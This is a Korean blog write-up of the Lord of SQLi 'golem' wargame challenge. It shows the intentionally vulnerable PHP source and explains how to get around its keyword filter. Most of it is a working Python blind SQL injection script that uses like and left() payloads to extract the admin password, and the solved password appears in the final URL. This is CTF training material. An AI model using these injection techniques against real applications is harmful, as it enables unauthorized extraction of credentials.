[LOS] golem 풀이
PHP & query
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>
select id from prob_golem where id='guest' and pw=''
문제 풀이
더보기
solve 조건
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
정확한 pw값을 요구하는 문제이다 4,7번문제랑 동일하다.
특수문자 제약
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
and,or,=,substr을 사용하지 못 한다. 7번문제 파이썬 코드에 [= -> like], [substr() -> left()] 바꾸기만 하면 해결된다.
Python code
import requests
URL='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': '내 쿠기값'}
password = ''
length=0;
for i in range(100):
query={'pw': '\' || length(pw) like '+str(i)+' # '}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if('Hello guest' in res.text):
print(i)
length=i;
break;
for i in range(length):
for j in range(ord('0'),ord('z')+1):
query={'pw': '\' || id like \'admin\'&& left(pw,'+str(i+1)+') like \'' +password + chr(j)+ '\'#'}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if('Hello admin' in res.text):
password = password + chr(j)
print(password)
break;
7번문제랑 똑같다.
URL
los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=77d6290b
'CTF > LOS' 카테고리의 다른 글
[LOS] bugbear 풀이 - 13번 (0) | 2020.09.16 |
---|---|
[LOS] darkknight 풀이 - 12번 (0) | 2020.09.16 |
[LOS] skeleton 풀이 - 10번 (0) | 2020.09.15 |
[LOS] vampire 풀이 - 9번 (0) | 2020.09.15 |
[LOS] troll 풀이 - 8번 (0) | 2020.09.15 |